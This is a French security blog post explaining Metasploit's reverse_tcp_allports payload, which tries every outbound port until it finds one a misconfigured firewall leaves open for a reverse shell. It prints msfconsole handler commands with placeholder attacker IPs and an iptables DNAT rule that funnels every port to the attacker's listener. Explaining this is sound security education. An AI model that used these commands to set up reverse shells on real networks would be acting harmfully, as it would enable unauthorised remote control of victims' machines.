Me contacter :

Nicolas Kerschenbaum

Metasploit se dote d'un payload permettant de tirer profit d'une mauvaise configuration Firewall

Du nouveau dans Metasploit ...
Rappelons-le, le célèbre framework d'exploitation Metasploit [1] permet principalement de tester et exploiter des vulnérabilités, aussi bien sur un système d'exploitation que sur un logiciel donné.

Deux composantes primordiales constituent ce framework : les codes d'exploitations, qui tirent profit des différentes vulnérabilités découvertes, et la charge utile: le payload, permettant d'exécuter le code désiré une fois la vulnérabilité exploitée.
Les payloads permettent de réaliser de nombreuses opérations telles que la mise en place d'un serveur VNC pour prendre le contrôle de la machine vulnérable en mode graphique, l'ajout d'un utilisateur sur le système, l'exécution d'un invité de console avancé tel que Meterpreter, etc.


Framework Metasploit

Ce framework vient d'intégrer récemment un nouveau payload [2] particulièrement intéressant. Ce dernier permet de jouer avec les règles du firewall afin d'abuser de règles trop laxistes.

En effet, les règles des firewalls au sein des entreprises sont au départ minutieusement étudiées de sorte qu'aucun flux non désiré ne puisse transiter à travers celui-ci. Les utilisateurs ne peuvent donc pas accéder à des ressources qui ne leur sont pas destinées, ou à utiliser des logiciels non désirés.
Cependant, au fil du temps, les impératifs métier ou les environnements de test nécessitent l'ouverture en urgence de certains flux, la plupart du temps assez laxistes, pour que tout soit fonctionnel le plus vite possible. Cependant, une fois les maquettes terminées, il n'est pas rare que certaines règles persistent au sein de la configuration du firewall.

Ce payload permet justement de tirer profit de ces règles oubliées ou mal conçues, afin d'obtenir un moyen de contrôle sur une machine présentant une faille de sécurité.


Lorsqu'un attaquant compromet une machine, deux possibilités s'offrent à lui pour s'y connecter et interagir avec elle. Tout d'abord le bind_shell. Cette méthode ouvre un port sur la machine compromise pour que l'attaquant se connecte sur celui-ci. Si la machine vulnérable est derrière un pare-feu ou un routeur, le port désiré ne sera donc pas forcément accessible par l'attaquant.


Notons égallement que les payloads de Metasploit utilisent le port 4444 par défaut. Ce port n'étant pas un port fréquemment utilisé et a de grandes chances d'être bloqué par un firewall situé entre la machine de l'attaquant et la machine vulnérable.




Principe du bind shell


Dans ce cas-là, il est préférable d'utiliser le reverse_shell. La technique consiste à forcer la machine compromise à se connecter sur la machine de l'attaquant plutôt que l'inverse. Cette méthode permet dans de nombreux cas de contourner le problème du routeur, voire du Firewall.

Cependant, que faire si le firewall bloque également ce flux sortant ?




Principe du reverse shell 


Un code malicieux a été exécuté sur la machine compromise, mais il n'est pas possible d'obtenir une interaction avec celle-ci : le résultat des commandes soumises par l'attaquant ne peut pas être visualisé... plutôt frustrant non ?

L'attaquant peut évidemment tenter d'utiliser les ports les plus communs tels que le 21, 22, 23, 53, 80, 110, 143, 443... mais passera surement à côté d'une règle autorisant un port exotique.

C'est là qu'intervient le nouveau payload windows/*/reverse_tcp_allports. Il permet de découvrir de façon automatique les ports non bloqués en sortie par le firewall.

Le payload windows/*/reverse_tcp_allports va forcer la machine compromise à se connecter sur le port 4444 de la machine de l'attaquant. Si ce port n'est pas joignable, il va alors tenter de joindre successivement et de façon exhaustive la machine de l'attaquant en partant du port numéro 1 jusqu'au 65535.

Pour cela, l'attaquant va tout d'abord mettre en écoute l'intégralité des ports d'une machine qu'il contrôle, afin de recevoir la session provenant de la machine compromise.
msf> use exploit/multi/handler
msf (exploit/handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/handler) > set LHOST ip.ip.ip.ip
msf (exploit/handler) > set LPORT 4444
msf (exploit/handler) > exploit -j
Évidemment, la machine de l'attaquant ne peut pas mettre l'ensemble de ses ports en écoute, c'est pourquoi il est nécessaire d'utiliser une seconde machine dédiée à cette tache.
La règle iptables suivante permet par exemple de rediriger l'ensemble des flux arrivant sur la machine dédiée, vers le port 4444 de la machine de l'attaquant.
# iptables -I INPUT -p tcp -m state --state NEW -d ip1.ip1.ip1.ip1 -j DNAT --to ip2.ip2.ip2.ip2:4444
ip1.ip1.ip1.ip1 est l'adresse ip de la machine dédiée à la réception des ports non bloqués par le firewall, tandis que ip2.ip2.ip2.ip2 est l'adresse ip de la machine de l'attaquant.

L'option set DisablePayloadHandler du nouveau payload permet de définir la configuration à adopter en fonction de la machine sur laquelle l'attaquant se situe (machine dédiée à l'écoute, ou machine de l'attaquant). Cette option aura alors la valeur true sur la machine de l'attaquant contrairement à la machine en écoute.



Principe du nouveau payload intégré à Metasploit 


Cette méthode est particulièrement intéressante d'un point de vue théorique, mais comporte toutefois un inconvénient de taille: sa lenteur !

En effet, afin de détecter un port bloqué, plus d'une minute peut être nécessaire. Ainsi, il faut parfois attendre plusieurs heures avant de découvrir un port autorisé par une règle laxiste...



Webographie

[1] http://www.metasploit.com/framework/
[2] http://blog.metasploit.com/2009/09/forcing-payloads-through-restrictive.html
[3] http://clinicallyawesome.com/post/196352889/blind-connect-back-through-restrictive-firewall

0 commentaires:

Enregistrer un commentaire